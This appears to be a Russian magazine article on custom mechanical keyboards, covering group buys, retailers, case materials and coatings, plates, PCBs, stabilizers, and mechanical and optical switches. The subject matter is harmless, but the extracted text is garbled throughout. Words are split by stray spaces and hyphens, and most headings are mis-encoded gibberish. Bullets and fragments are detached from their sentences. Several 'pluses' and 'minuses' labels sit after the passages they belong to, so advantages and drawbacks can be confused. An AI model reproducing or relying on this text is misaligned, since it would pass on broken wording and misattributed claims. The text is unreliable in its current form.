Са мая неп рият ная «побоч ка» у груп пба ев — ожи дание дос тавки. Ждать
свою осно ву, капы и про чие детали порой при ходит ся ну очень дол го. Осно вы
в сред нем про изво дят око ло полуго да. Кей капы — от года до двух лет. Перек- 
лючате ли, ста бы, ков ры — по-раз ному. Короче, на груп пба ях покупа ют
в основном кру тые и высоко тех нологи чес кие кла виату ры. Кас томная кла- 
виату ра груп пбай-уров ня — это пред мет рос коши и завис ти. Вещь с боль шой
бук вы.

По чему груп пбай ные кла виату ры сто ят так дорого? Потому что они про- 
изво дят ся мел кими пар тиями, что повыша ет цену. На нее так же вли яют
методы окраски кор пуса, рас ходы на раз работ ку, сто имость матери алов, зар- 
пла та рабочим и так далее. Сле дует знать, что груп пбай-кла виату ры даже
в одном ценовом диапа зоне (ска жем, 500 дол ларов) могут иметь совер шенно
раз ное качес тво исполне ния. Поэто му какие-то из них ока зыва ются более
при ятны ми по зву ку, ощу щени ям, кра соте, а какие-то — менее. Здесь нуж но
читать и смот реть обзо ры, а еще луч ше — плюс-минус шарить в теме, что бы
не оши бить ся в выборе.

Где купить
Вот нес коль ко полез ных ссы лок, где купить кас томные кла виату ры и детали,
из которых они сде ланы.
• Аг регато ры (сай ты, собира ющие ссыл ки на товары с раз ных пло щадок):

• www.mechgroupbuys.com
• thocstock.com

• Де шевый сег мент:
• kprepublic.aliexpress.ru
• aliexpress.ru/store/912616246
• aliexpress.ru/store/912431208

• Сред ний сег мент — серий ные кас томы и хорошие детали + груп пбаи:
• www.pcgamingrace.com
• drop.com/mechanical-keyboards/drops
• novelkeys.com
• cannonkeys.com
• ilumkb.com
• mekibo.com
• kbdfans.com
• dailyclack.com

• Топ-сег мент — кру тые кла виату ры, груп пбаи. Про шу: откры вая эти ссыл ки,
дер жи себя в руках. Ты пре дуп режден!
• graystudio.club
• ramaworks.store
• percent.studio
• store.projectkeyboard.com
• geistmaschine.io
• shop.modedesigns.com/pages/eighty
• keycult.com
• monokei.co
• www.typemachina.com
• www.matrixlab.store
• zionstudios.ph

• Аф термар кет, он же барахол ка:
• об щемиро вой — reddit.com/r/mechmarket
• по стра нам СНГ — reddit.com/r/ru_mechmarket

• Для зна ющих есть , где тоже мож но вых ватить инте рес ные кас- 
томы

taobao.com

ÓÑÒÐÎÉÑÒÂÎ ÊÀÑÒÎÌÍÎÉ ÊËÀÂÈÀÒÓÐÛ

Ìàòåðèàëû îñíîâû êëàâèàòóðû

Де шевый сег мент кас томных кор пусов сде лан из ABS-плас тика либо из акри- 
ла. Так же встре чает ся алю миний и поликар бонат. А в самых «топах» исполь- 
зует ся алю миний (и не толь ко) со встав ками из раз личных метал лов — меди,
титана, нер жаве ющей ста ли, кар бона и так далее. Час то в мидл- и хай-сег- 
менте при покуп ке пред лага ется два матери ала на выбор — алю миний раз- 
личных цве тов и Frosted-поликар бонат. «Фрос тедом» (он же «заморо жен- 
ный») называ ется матовая повер хность поликар боната, потому что она
похожа на повер хность зас тывше го льда. Из такого поликар боната сде лан
кор пус .Radiance TKL

Radiance TKL

Ãðóç

Груз — это деталь, которая прик ручива ется к кор пусу кла виату ры. Пос коль ку
в основном кор пуса сде ланы из лег кого алю миния или плас тика, груз умень- 
шает виб рации кла виату ры при печати, тем самым меняя звук в луч шую сто- 
рону, и кла виату ру ста новит ся не так прос то сдви нуть с мес та — для мно гих
это плюс. Обыч но груз ста вят в кас томы мидл- и хай-сег мента, самый рас- 
простра нен ный матери ал — это латунь. В хай-сег менте матери ал гру за иног- 
да мож но выб рать. Нап ример, час то пред лага ется медь или сталь с PVD-пок- 
рыти ем, что уве личи вает цену кла виату ры, но при этом дела ет ее кра сивее
и уни каль нее. При мер такой кла виату ры — Percent Studio Trio75.

Percent Studio Trio75

Еще гру зы изго тав лива ют из алю миния — такие изде лия исполь зуют в качес- 
тве дизай нер ской фиш ки: осно ва кла виату ры из алю миния может быть пок- 
рашена в один цвет, а груз — в дру гой. Так, нап ример, устро ена Pixelspace
Studio X KBDfans Endless-80.

Pixelspace Studio X KBDfans Endless-80

Êðàñêà è îáðàáîòêà ïîâåðõíîñòåé

Кор пуса ниж ней ценовой катего рии изго тав лива ют из цвет ного ABS-плас тика
и акри ла. В мидл-сег менте исполь зует ся ано диро ван ный алю миний.
В хай-сег менте тоже при меня ется ано диро ван ный алю миний, а еще встре- 
чают ся вари анти ки поин терес нее.

PVD Mirror polished

Он же Physical Vapor Deposition (кон денса ция из паровой фазы). Так называ- 
ется дорогу щая обра бот ка метал ла, в резуль тате которой тот блес тит
как зер кало. На заранее отпо лиро ван ную метал личес кую повер хность в сре- 
де с отка чан ным воз духом и закачан ной смесью азо та и арго на при тем- 
перату ре 400–600 гра дусов напыля ются час тицы дру гого метал ла, нап ример
титана или цир кония. Получа ется край не твер дое пок рытие, лишен ное даже
мик ротре щин и очень устой чивое к царапи нам, уда рам и про чим механи чес- 
ким воз дей стви ям. Нап ример, ниж няя часть кла виату ры, вклю чая дно, может
быть сде лана из отпо лиро ван ной до зер каль ного блес ка нер жаве ющей ста- 
ли. При мер такой кла вы — Project Keyboard kepler TKL.

Project Keyboard kepler TKL

E Coating

Так называ ется элек тро форе тичес кая окраска: для нанесе ния крас ки
на повер хность кор пуса исполь зует ся высокое нап ряжение. Этот спо соб поз- 
воля ет добивать ся раз ных гра даций цве та, а так же инте рес ных тек стур
повер хнос ти.

Нап ример, с помощью ано диро вания пок расить кор пус в белый цвет
не получит ся, а элек тро форе тичес кий метод поз волит добить ся любого цве- 
та. При этом повер хность будет либо глад кой, если исполь зует ся жид кая
крас ка, либо шер шавой, если исполь зует ся порош ковая. Такой спо соб
окраски повыша ет устой чивость к механи чес ким пов режде ниям. В час тнос ти,
так пок рашена кла виату ра Pixelspace Studio X KBDfans Endless-80 в рас цвет ке
E-beige case + Purple weight.

Pixelspace Studio X KBDfans Endless-80 в рас цвет ке E-beige case + Purple
weight

Ceracote

Это крас ка с час тицами керами ки. Дан ный метод исполь зуют в пок раске ору- 
жия. На кор пус кла виату ры напыля ется крас ка, затем он отправ ляет ся
в автоклав, где под дей стви ем высоко го дав ления и тем перату ры крас ка
запека ется. Метод кру той, но в то же вре мя очень дорогой. 

, пок рашен ной имен но этим методом.
Вот при мер кла- 

виату ры

Sandblasting

Это пес кос труй ка. Она исполь зует ся, если кла виату ра сде лана целиком
из меди, латуни и про чих метал лов и тре бует ся добить ся матовой повер хнос- 
ти либо матовы ми нуж но сде лать встав ки или груз. На кла виату рах сред ней
ценовой катего рии груз обыч но ник то не обра баты вает, поэто му на нем могут
быть вид ны сле ды от фре зы.

Ïëàòû (îíè æå PCB)

В дешевом сег менте кла виатур пла ты обыч но идут ком плек том к осно ве кла- 
виату ры, для мидл-сег мента мож но при обрести либо ком плект, либо отдель- 
но пла ту, в зависи мос ти от тво их пот ребнос тей и хотелок. Но и пла ты тоже
быва ют раз ные! Нап ример, для кор пуса Tofu60 мож но купить кучу сов мести- 
мых плат. Но если ты выб рал, ска жем, DZ60, у нее есть нес коль ко вари аций:

не обхо димость пай ки и ком плек том — набор одноцвет ных све тоди одов,
которые тоже нуж но при паивать вруч ную;

•

пла та Hot Swap (эта тех нология поз воля ет без пай ки и слож ного мон тажа
при помощи спе циаль ного инс тру мен та поменять перек лючате ли на пла- 
те) плюс набор RGB-све тоди одов, при паян ных на заводе;

•

пла та с флекс-катами, спо соб ная про гибать ся при нажатии кла виш.•

О тех нологии Hot Swap нуж но рас ска зать отдель но. Хот сва пами называ ют
гнез да, в которые встав ляют ся перек лючате ли без при паива ния их к пла те.
Ког да кла виату ра про изве дена гра мот но, перек лючате ли будут сто ять в хот- 
свап-гнез дах как вли тые и тебе не при дет ся выпа ивать перек лючатель, если
он вдруг сло мает ся или ты решишь заменить его дру гим. Мож но будет прос то
вытащить любой перек лючатель спе циаль ным инс тру мен том.

Hot Swap

По дыто жим:
для некото рых кла виатур мож но выб рать раз ные пла ты раз ных про изво- 
дите лей из-за схо жес ти фор мата и креп ления;

•

так же в ряде слу чаев мож но выб рать раз ные вари анты одной и той же пла- 
ты, в зависи мос ти от того, хочешь ли ты хот свап или любишь паять.

•

Так же сто ит упо мянуть о так называ емых дотер бордах (daughterboard). Эти
допол нитель ные пла ты исполь зуют ся в хороших кас томах, если раз работ чик
не хочет при паивать USB-порт к основной пла те. Тог да он рас паивает ся
на допол нитель ной пла те, чаще все го open source. Если порт дорогой кла- 
виату ры сло мает ся, мож но будет на любом заводе напеча тать новую пла ту
либо купить уже готовую и заменить неис прав ную.

Daughterboard
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Ïëåéòû

Плейт — это плас тина, в которой выреза ны отвер стия под перек лючате ли.
Если ты сни мешь кей кап со сво ей кла виату ры, то обна ружишь под ним метал- 
личес кую плас тину, в которую вот кну ты сви чи, — вот это и есть плейт.

Плейт

В дешевом сег менте плей ты изго тав лива ются из ста ли, кра сят ся крас кой —
и эту крас ку мож но поцара пать даже взгля дом. В конс трук ции более дорогих
кла виатур исполь зуют ся раз ные матери алы. Стан дар тный вари ант — алю- 
миний, он дает метал личес кие приз вуки, дешев, мало весит. Латунь при бав- 
ляет лиш ние грам мы кла виату ре и уве личи вает ее цену, но при этом меня ет
звук на более чет кий и дела ет конс трук цию еще жес тче. В топ-сег менте
латунь к тому же полиру ют, поэто му плейт блес тит аки золото.

По ликар бонат исполь зует ся в флекс-маун тах кла виатур, а так же в кла вах,
где нуж но убрать метал личес кие приз вуки при печати и сде лать звук мак- 
сималь но при ятным. Мой фаворит.

FR4 — это стек лотек сто лит, из которо го изго тав лива ют печат ные пла ты.
Из него же режут и плей ты. Полагаю, что FR4 работа ет как поликар бонат, но,
как и любой дру гой матери ал, дает свое непов торимое зву чание. Вжи вую я
пока с ним не стал кивал ся.

Кар бон при дает прос то бешеную жес ткость конс трук ции. Он иде ален
для любите лей каких-то осо бен ных тональ нос тей зву ка кла виату ры. Акрил
исполь зует ся в кла виату рах катего рии DIY open source, детали для которых
каж дый может нарезать себе лазером из цель ного лис та акри ла в бли жай шей
мас тер ской. Чаще все го такие кор пуса стро ят любите ли эрго-сплит-кла- 
виатур. Как матери ал акрил очень ненаде жен: если кру тануть отвер тку чуть
силь нее, чем нуж но, такой плейт трес нет либо раз летит ся на кус ки. В общем,
лич но я не рекомен дую. Ко все му про чему сви чи в нем не защел кива ются
из-за его тол щины, а сде лать плейт тон ким нель зя из-за его хруп кости.
В общем, для DIY эрго-спли тов все-таки луч ше взять FR4, его слож нее сло- 
мать.

Су щес тву ют так называ емые Half Plate — это плейт, в котором выреза на
сер дце вина с бук вами и циф рами, то есть в плейт по фак ту встав ляют ся толь- 
ко кноп ки край них рядов и стол бцов. Такой плейт луч ше все го под ходит
для кла виатур с флекс-катами, нап ример KBD8X MKII. Ну и конеч но же, есть
кла виату ры Plateless, то есть без плей тов вооб ще.

Ñòàáèëèçàòîðû

Ста били зато рами называ ют механиз мы, которые не поз воля ют переко сить ся
боль шим кла вишам. Full-size-кла виату ры име ют сле дующие боль шие кла- 
виши: Enter, Space, LShift, RShift, Backspace, Enter Numb, Zero Numb, Plus
Numb. Но этот спи сок может варь иро вать ся в зависи мос ти от фор мата кла- 
виату ры.

Ста били зато ры сос тоят из нес коль ких деталей: кор пуса (он же хаузинг
ста били зато ра), сте ма, который уста нав лива ется внут ри кор пуса и ходит
по вер тикаль ной оси, и ско бы — про воло ки с заг нутыми под 90 гра дусов кон- 
цами. Ста били зато ры быва ют раз ных типов креп лений, ниже я опи шу
основные.

PCB Mount

Ста били зато ры это го типа прик ручива ются к пла те кла виату ры. Они име ют
с одной сто роны защел ку-упор, с дру гой сто роны — отвер стие для вин та
либо еще одну защел ку, как на кулерах 775-го сокета (не к ночи будь
помянут). Ста били зато ры PCB Mount исполь зуют ся в подав ляющем боль- 
шинс тве кас томных кла виатур, так как луч ше выпол няют свою фун кцию и про- 
изво дят ся с боль шим качес твом. Ста били зато ры это го типа про изво дят
Cherry, GMK, Dark Project, Durock, ZealPC, TX, AEBoards Staebies. У таких ста- 
били зато ров есть и плю сы, и минусы.

Ста били зато ры PCB Mount про изводс тва Cherry

 они дела ются по более чет ким нор мам отливки, поэто му пос ле

смаз ки хорошие ста били зато ры этой сис темы не зве нят и не гре мят. Разуме- 
ется, их шумовые и так тиль ные харак терис тики зависят от кла виату ры,
в которой они будут сто ять, и от кей капов, которые будут на них надеты. Так же
край не важ но уметь хорошо и пра виль но их сма зывать. Без смаз ки ста били- 
зато ры будут зву чать весь ма пос редс твен но.

Ïëþ ñû:

 если нуж но заменить ста били затор, то при дет ся раз бирать всю
кла виату ру целиком, за ред кими исклю чени ями. Так как ста били затор прик- 
ручен к пла те, рас сто яния меж ду плей том и пла той будет недос таточ но, что бы
его извлечь. Если кла виату ра исполь зует хот свап, то вытащить ста били зато ры
не так слож но, дос таточ но пол ностью разоб рать кла виату ру. А вот если кла- 
виату ра соб рана на пай ке, то при дет ся пот ратить очень мно го вре мени
на пол ную рас пай ку и запай ку кла виату ры обратно. Цена у ста били зато ров
PCB Mount выше, чем у осталь ных, но они и пред став лены более широким
ассорти мен том на рын ке.

Ìè íóñû:

Plate Mount

Эти ста били зато ры исполь зуют ся в масс-мар кет-кла виату рах, они уста нав- 
лива ются в плейт и дер жатся в нем на защел ках. В боль шинс тве мас совых
кла виатур они еще и не сма заны, из-за чего при печати гром ко шумят. В ред- 
ких слу чаях масс-мар кет-кла виату ры име ют при лич ные ста били зато ры это го
типа. Быва ют и кас томы на таких ста били зато рах, но непонят но, зачем они
там. При мер такой кла виату ры — Drop Ctrl TKL.

Ста били затор Plate Mount

 для замены ста били зато ра дос таточ но извлечь из хот сва па либо

выпа ять толь ко один перек лючатель под этим ста бом. Пос ле смаз ки некото- 
рые кла виату ры перес тают зву чать как вед ра с гай ками, а некото рые — нет.

Ïëþ ñû:

 в некото рых кла виату рах либо тол щина плей та мень ше обыч ной,

либо ста били зато ры спро екти рова ны кри во, но они бол тают ся в плей те.
Поэто му хоть сма зывай их, хоть не сма зывай, тол ку ноль. Все рав но гре мят
и шевелят ся.

Ìè íóñû:

Costar

Это аль тер натива ста били зато рам Plate Mount, которая приш ла к нам
из седых веков рас све та рет рокла виатур. Эти ста били зато ры тоже кре пят ся
в плей те, но ско ба не пря чет ся под ним, а находит ся над плей том. То есть,
сняв про бел, мож но уви деть ско бу Costar.

 при усло вии качес твен ного исполне ния эти ста били зато ры

ничуть не хуже PCB Mount и пос ле хорошей смаз ки отлично зву чат и не зве нят
ско бами.

Ïëþ ñû:

 если кор пус спро екти рован пло хо, ста били зато ры сидят недос- 
таточ но плот но в гнез дах, вырезан ных в плей те кла виату ры, за счет чего появ- 
ляет ся люфт, а вмес те с ним и гро хот при нажатии. Лечит ся обыч но
бенд-модом. При мер такой кла виату ры — Das Keyboard 4 Ultimate.

Ìè íóñû:

Ðàçìåðû ñòàáèëèçàòîðîâ

Раз мер ста били зато ра изме ряет ся в юни тах. За 1U при нято при нимать 1 кей- 
кап минималь ного раз мера. Нап ример, те, на которых написа ны бук вы и циф- 
ры, и есть 1U. Юни ты могут быть пред став лены как целыми чис лами, так
и дроб ными. Нап ример, дли на про бела быва ет раз ной и зависит от рас клад- 
ки кла виату ры. У клас сичес ких рас кла док ANSI/ISO про бел сос тавля- 
ет 6,25 юни та. У рас кла док WKL, TSANGAN и некото рых дру гих про бел име ет
раз мер семь юни тов, соот ветс твен но, ско ба для такого про бела нуж на длин- 
нее. Не перепу тай при покуп ке!

Ос таль ные ста били зато ры для кно пок помень ше име ют оди нако вую дли ну
в два юни та, кро ме изде лий некото рых масс-мар кет-про изво дите лей. Нап- 
ример, Logitech: они исполь зуют нес тандар тные дли ны ста били зато ров, из-за
это го на их кла виату ры нель зя пос тавить дру гие кей кап-сеты, что вызыва ет
нехоро шие чувс тва.

Ïåðåêëþ÷àòåëè (îíè æå ñâè÷è)

Пе рек лючате ли — это механизм, который отра баты вает нажатие кла виши
и переда ет соот ветс тву ющий сиг нал на пла ту кла виату ры. Раз лича ют раз ные
типы перек лючате лей по прин ципу их дей ствия. Нач нем с механи чес ких.

Ìåõàíè÷åñêèå

Са мые извес тные про изво дите ли механи чес ких перек лючате лей — Cherry
MX, Omron. Еще их выпус кают ком пании Alps, Hi Tek Invaders, Low Prole, но 

 рас ска зывать не буду из-за малой рас простра нен ности. Все перечис- 
ленные перек лючате ли обла дают метал личес кими ско бами (лифами),
которые замыка ются при нажатии и регис три руют его.

о них

Ме хани чес кие перек лючате ли Cherry MX

Боль шой популяр ностью сре ди всех пред став ленных на рын ке механи чес ких
перек лючате лей поль зуют ся Cherry MX и кло ны. Эту конс трук цию при дума ла
немец кая ком пания Cherry еще нес коль ко десят ков лет назад. Само собой,
она ее запатен товала, и пос ле того, как патент истек, как гри бы пос ле дож дя
ста ли воз никать ком пании, соз дающие кло ны этих перек лючате лей. При этом
на 2022 год качес тво мно гих кло нов на порядок луч ше, чем у нес равнен ного
ори гина ла.

Пе речис лю нес коль ко фирм, которые выпус кают кло ны Cherry MX:
это Gateron, ZealPC (на мощ ностях Gateron), Kailh, Outemu, JWK и на его мощ- 
ностях — С3 equalz, Durock и про чие реколо ры и модифи кации сто рон них
раз работ чиков. У этих ком паний есть линей ки перек лючате лей, раз лича ющих- 
ся ощу щени ями при нажатии, цве тами и ценовым диапа зоном. Исклю чение
сос тавля ет раз ве что Zeal PC — эта ком пания выпус кает толь ко пре- 
миум-перек лючате ли за ну очень нес кром ный цен ник. Далее у нас идут
перек лючате ли Romer G, они же Omron, которые исполь зуют в нес коль ких
моделях сво их кла виатур Logitech и Das Keyboard. Дер жись от них подаль ше.
Качес тво так себе, ничем не заменишь, да и свои капы не пос тавишь.

Óñòðîéñòâî ìåõàíè÷åñêèõ ïåðåêëþ÷àòåëåé

Ме хани чес кие перек лючате ли сос тоят из сле дующих эле мен тов:
 — это деталь, на которую кре пит ся кей кап и которая ходит

вверх-вниз при нажатии на кла вишу.

• Ñòåì

, он же хаузинг. Сос тоит из двух полови нок — вер хне го и ниж него

хаузин га. Друг к дру гу они кре пят ся на защел ках. Защел ки быва ют двух
типов. Клас сика Cherry — это четыре защел ки по бокам перек лючате ля,
вари ант ком пании Kailh — две боль шие защел ки по бокам перек лючате ля.
Сто ит упо мянуть, что ниж ний хаузинг сви ча может иметь три пина (два кон- 
такта для пай ки и один для упо ра што ка сте ма) либо пять пинов (два
допол нитель ных плас тиковых шты ря, которые дают необ ходимую надеж- 
ность и пре дох раня ют перек лючатель от появ ления люф та). В кла виату рах
на хот сва пе исполь зуй исклю читель но 5-пиновые перек лючате ли. Они
кре пят ся гораз до надеж нее.

• Êîð ïóñ

 уста нов лена меж ду сте мом и ниж ним хаузин гом. Дает необ- 

ходимое соп ротив ление при нажатии и воз вра щает твою кноп ку наверх,
ког да палец не ока зыва ет на нее дав ления.

• Ïðó æèíà

 — метал личес кие ско бы при чуд ливой фор мы,

которые в ненажа том сос тоянии разом кну ты. При нажатии на кноп ку они
смы кают ся и про пус кают через себя элек три чес кий ток, в резуль тате чего
кла виату ра регис три рует нажатие.

• Ëè ôû, îíè æå êîí òàêòû,

Ïëþñû è ìèíóñû ìåõàíè÷åñêèõ ïåðåêëþ÷àòåëåé

Из плю сов мож но наз вать богатей шее раз нооб разие таких перек лючате лей
на рын ке. Мож но реаль но про качать свою кла виату ру так, что ни так тиль но,
ни по зву ку она не будет напоми нать ори гинал. Это кру то.

Из минусов — у «механи ки» более слож ная конс трук ция по срав нению
с опти кой. Из-за чего механи чес кие сви чи могут начать делать дабл клик.
Нажал один раз, а регис тра ция про изош ла дваж ды или боль ше. Обыч но этот
эффект воз ника ет у самых дешевых перек лючате лей. Еще дешевые сви чи
пло хо перено сят залитие чаем, пивом, соком, их лифы пок рыва ются окис лами
и даже пос ле про мыв ки выходят из строя. С хороши ми сви чами из-за дабл- 
кли ка мож но не бес поко ить ся — они очень надеж ны.

Îïòè÷åñêèå ïåðåêëþ÷àòåëè

Пла ты на кла виату рах такого типа осна щены опти чес ким передат чиком
и опти чес ким при емни ком. Сам перек лючатель устро ен гораз до про ще
по срав нению с механи чес ким. На дне сви ча есть отвер стие, которое перек- 
рыва ется што ком сте ма при нажатии, и тем самым шток бло киру ет излу чение
меж ду передат чиком и при емни ком. Излу чение есть — кла виша не нажата,
излу чения нет — кла виша нажата. Все очень прос то. Кла виату ры с дан ным
типом сви чей быва ют толь ко хот свап, паять в них нечего.

Оп тичес кие перек лючате ли

Продолжение статьи →
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Плю сы опти чес ких перек лючате лей: сло мать их поч ти невоз можно, ломать ся
баналь но нечему. Дабл кли ков тоже нет и быть не может. Все опто перек- 
лючате ли име ют конс трук цию хот свап.

Из минусов: у опти чес ких сви чей все го один пин, который вхо дит в пла ту,
у механи чес ких перек лючате лей их либо три, либо пять. Поэто му чаще все го
оптосви чи бол тают ся в плей тах, что доволь но силь но бесит.

Еще их выпус кает огра ничен ное количес тво ком паний, из основных
это Kailh и Gateron. При чем ассорти мент механи чес ких сви чей у этих ком- 
паний гораз до шире, а они, в свою оче редь, раз нооб разнее по так тиль ным
ощу щени ям, по зву ку и дизай ну. Короче, опти ка не для гиков, а для обыч ных
людей и любопытс тву ющих. Плюс кас томы на этих сви чах ник то не дела ет.

Äîïîëíèòåëüíûå ñâîéñòâà îïòè÷åñêèõ è ìåõàíè÷åñêèõ

ïåðåêëþ÷àòåëåé

По типу так тиль ной и зву ковой отда чи механи чес кие и опти ко-механи чес кие
перек лючате ли делят ся на четыре типа: линей ные, так тиль ные, кли кающие
и сай лен ты.

На жатие на линей ные перек лючате ли про исхо дит совер шенно рав номер- 
но от начала и до кон ца. Какие-либо так тиль ные ощу щения дает толь ко пру- 
жина и матери алы кор пуса, ну и смаз ка, конеч но. Ты не почувс тву ешь точ ку
сра баты вания перек лючате ля на середи не его хода (в сред нем 2 мм из 4 мм).
Такие перек лючате ли иде аль ны во всем — в играх, при печати. Если сви чи
осна щены лег кими пру жина ми, то на таком типе воз можны мис кли ки.

Так тиль ные перек лючате ли име ют одно сущес твен ное отли чие. На сте ме
любых механи чес ких сви чей есть . Так вот: если на линей ных перек- 
лючате лях они совер шенно ров ные, то у так тиль ных они име ют опре делен ную
фор му, которая может менять ся для дос тижения раз ных эффектов. Нап- 
ример, сла бая так тиль ность в середи не хода, силь ная так тиль ность в начале
хода или на про тяже нии все го хода. Это надо тес тировать самос тоятель но,
на сло вах нович ку слож но будет понять, чем отли чает ся Durock Koala
от Cherry Brown и Holy Panda.

слай деры

Суть в том, что при нажатии на кноп ку ты чувс тву ешь момент сра баты вания
перек лючате ля. К тому же про изво дите ли могут менять парамет ры так тиль- 
нос ти, поэто му мож но реаль но уто нуть в раз нооб разии ощу щений, которые
дают так тиль ные перек лючате ли.

В игры мож но играть толь ко на сла ботак тиль ных перек лючате лях, на силь- 
нотак тиль ных — край не неудоб но из-за того, что нель зя играть на полука- 
сани ях, как на «лине ечках». При дет ся пол ностью дож дать ся, пока кноп ка
не вер нется вверх, что бы сно ва на нее надавить и зарегис три ровать нажатие.
Вот печать — дру гое дело, «так тилы» прек расно под ходят для печати, при чем
некото рые — для ско рос тной печати без оши бок, нап ример Durock t1. Автор
этих строк пос тавил 121 сло во в минуту в тес те печати на ско рость и не сде- 
лал ни одной ошиб ки.

Кли кающие — это раз новид ность так тиль ных перек лючате лей, где не толь- 
ко чувс тву ешь так тиль ную отда чу при нажатии, но еще и слы шишь ее. Имен но
бла года ря этим перек лючате лям сре ди непос вящен ных рас простра нилось
заб лужде ние о том, что механи чес кая кла виату ра обя затель но дол жна орать
бла гим матом на всю ком нату или офис.

Про изво дите ли выпус кают не так мно го раз новид ностей подоб ных сви чей,
одна ко есть любопыт ный нюанс: на рын ке при сутс тву ет как минимум три типа
механиз мов кли кающих кла виатур. Пер вый называ ется Click Jacket (Cherry MX
Blue), вто рой — Click Bar (Kailh Box White), тре тий — Click metal plates (ZealPC
Clickiez). Кому подой дут такие кла виату ры? Фанатам подоб ных перек лючате- 
лей, любите лям шума, а так же поль зовате лям, при вык шим печатать тек сты
с понима нием, нажата ли кноп ка и про изош ла ли регис тра ция нажатия.
Для игр они не пред назна чены вооб ще: поль зовать ся мож но, но на полука- 
сани ях не поиг раешь.

Так или ина че, «линей ки», «так тилы» и «кли ки» быва ют как механи чес кими
перек лючате лями, так и опти чес кими. Это же каса ется и раз ных рет роперек- 
лючате лей, нап ример аль псов.

Боль шинс тво про изво дите лей дела ют сай лент-вер сии сво их ходовых сви- 
чей. Нап ример, Cherry Silent Black, Silent Red, ZealPC Sakurio, Durock Dolphin,
Gazzew Bobagum, Gateron Ink Black Silent. У таких перек лючате лей на сте ме
сви ча в опре делен ных мес тах сто ят резино вые дем пфе ры, которые дела ют
нажатие гораз до более тихим, — отсю да и наз вание.

Òî÷êà ñðàáàòûâàíèÿ

Это одна из харак терис тик перек лючате лей типа МХ. Стан дар тный ход (глу- 
бина нажатия) перек лючате ля сос тавля ет 4 мм, точ ка сра баты вания рас- 
положе на на отметке 2 мм, то есть для регис тра ции нажатия необя затель но
нажимать кла вишу до кон ца. Дос таточ но нажать ее наполо вину, и регис тра- 
ция будет успешна, сим вол появит ся на экра не. Но некото рым людям хочет ся
изме нить дли ну хода перек лючате лей и поменять точ ку сра баты вания.
Для это го при дума ли speed-перек лючате ли, нап ример Cherry MX Speed Silver.

Дли на хода перек лючате ля регули рует ся с помощью уве личе ния дли ны
што ка сте ма, поэто му лег ко нас тро ить дли ну хода не 4 мм, а, нап ример, 3 мм.
При этом точ ка сра баты вания регули рует ся углом, под которым слай деры
сте ма сто ят отно ситель но самого сте ма, бла года ря чему в некото рых перек- 
лючате лях сра баты вание мож но нас тро ить на рас сто янии не 2 мм,
а 1,5 или 3 мм.

Ско рос тные перек лючате ли любят гей меры, которым важ ны мил лисекун- 
ды, ведь наши паль цы и сухожи лия име ют пре делы ско рос ти реак ции и ско- 
рос ти дви жения. Соот ветс твен но, чем мень ше палец сде лает дви жений, тем
быс трее про изой дет регис тра ция нажатия. А некото рым людям прос то нра- 
вит ся, ког да кноп ки не так силь но про вали вают ся под паль цами. Любите ли
ноут буков и плос ких мем бра нок оце нят и пой мут.

Ïðóæèíû

Эти шту ки отве чают за уси лие, которое нуж но при ложить для нажатия на кноп- 
ку. У пру жин име ется нес коль ко важ ных парамет ров. Так, у каж дой пру жины
есть уси лие, с которым она соп ротив ляет ся нажатию, оно изме ряет ся в грам- 
мах и называ ется «грам мовка». Если пред ста вить гра фик хода перек лючате- 
ля, то мож но уви деть, с каким уси лием соп ротив ляет ся пру жина отно ситель но
хода кла виши. Это называ ется «кри вая нажатия»

Рас смот рим при мер — Cherry MX Red. У это го перек лючате ля заяв лена
грам мовка 45 г при точ ке сра баты вания и 60 г на кон це хода. Быва ют пру жины
с раз личны ми эффекта ми так тиль ной отда чи. На свой ства пру жины вли яет
мар ка пру жин ной ста ли, дли на пру жины, ее фор ма и количес тво вит ков.
По боль шей час ти все это вку сов щина, поэто му каж дый кла вогик под бира ет
пру жины под себя и под свои задачи самос тоятель но.

Кон систен тность — это параметр, который опре деля ет, нас коль ко грам- 
мовка одной пру жины будет отли чать ся от дру гой, если заяв лено, что эти зна- 
чения оди нако вы. Допус тим, в офи циаль ных тех ничес ких харак терис тиках
перек лючате ля Cherry про изво дитель ука зал, что грам мовка у пру жин может
отли чать ся при мер но на 15 г. Это доволь но ощу тимо, и есть веро ятность, что
человек с чувс тви тель ными паль цами будет замечать раз ницу в силе нажатия
на кноп ки. Что бы это го избе жать, люди покупа ют пру жины сто рон них про- 
изво дите лей, где заяв лена боль шая точ ность по грам мовке.

А теперь — неболь шая хит рость. Люди час то заб лужда ются, ког да покупа- 
ют кла виату ру с одной грам мовкой, а потом хотят сде лать апгрейд на дру гие
перек лючате ли дру гого про изво дите ля с той же грам мовкой пру жин. Нуж но
обра щать вни мание на то, что име ет в виду про изво дитель при обоз начении
грам мовки. Кто-то пишет грам мовку на середи не хода перек лючате ля,
а кто-то — в кон це хода. И мож но подумать, что какой-нибудь перек лючатель
на 45 г будет ана логи чен Cherry MX Red на 45 г. Не будет. У Cherry чаще все го
заяв ляет ся грам мовка в середи не хода, а у какого-нибудь Gateron — в кон це.
Имей это в виду.

Ìàòåðèàëû, èç êîòîðûõ ñäåëàí ïåðåêëþ÷àòåëü

Сна чала перечис лю основные матери алы, из которых чаще все го изго тав- 
лива ют кор пус перек лючате ля и стем. Это ней лон, поликар бонат, POM (поли- 
окси мети лен), UHMWPE (свер хвы соко моле куляр ный поли эти лен высокой
плот ности), раз личные мик сы плас тика.

Не кото рые перек лючате ли могут быть изго тов лены целиком из POM,
некото рые могут иметь стем из поли окси мети лена, а кор пус из ней лона. Если
нуж но сде лать кор пус проз рачным, то берут поликар бонат. Все эти матери- 
алы раз лича ются глад костью, зву ком и плот ностью. В кла виату рос тро ении
боль ше всех важ ны два парамет ра — глад кость и при ятный звук.

Эф фект пес ка — это так тиль ный эффект, при котором стем трет ся о кор- 
пус при нажатии. То есть при нажатии на свич под паль цами чувс тву ется буд- 
то бы мел кий шер шавый песок. Кто-то обра щает на это вни мание, кто-то нет.
Я лич но такие ощу щения не люб лю. Ком пания Cherry — приз нанный лидер
в изго тов лении песоча щих перек лючате лей. Нель зя ска зать, что сви чи одно го
про изво дите ля, нап ример, из ней лона будут такими же глад кими, как перек- 
лючате ли дру гого про изво дите ля из такого же ней лона. На эту харак терис тику
вли яет еще тех ничес кий про цесс, качес тво фор мы для отливки и полиров ки.

Çâóê

Звук — свя тая свя тых каж дого кла виатур ного гика. Если не брать во вни мание
кли кающие сви чи, то звук линей ных и так тиль ных мож но раз бить на три глав- 
ные катего рии, которые могут сме шивать ся меж ду собой в раз ных про пор- 
циях в зависи мос ти от фан тазии про изво дите ля.

